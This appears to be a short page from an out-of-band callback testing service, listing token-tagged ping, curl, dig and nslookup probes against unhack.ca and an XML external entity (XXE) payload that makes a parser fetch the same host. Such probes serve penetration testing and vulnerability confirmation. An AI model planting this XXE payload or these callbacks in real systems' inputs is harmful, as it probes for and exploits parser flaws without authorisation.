$ ping -c1 -p 0039ace4b422f8a8288739ef8d685700 unhack.ca
 

$ curl http://unhack.ca/p/39ace4b422f8a8288739ef8d6857
 

$ dig 39ace4b422f8a8288739ef8d6857 @unhack.ca
 

$ dig 39ace4b422f8a8288739ef8d6857.ns.unhack.ca
 

C:\> nslookup 39ace4b422f8a8288739ef8d6857 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/39ace4b422f8a8288739ef8d6857">]>
    <foo>&xxe;</foo>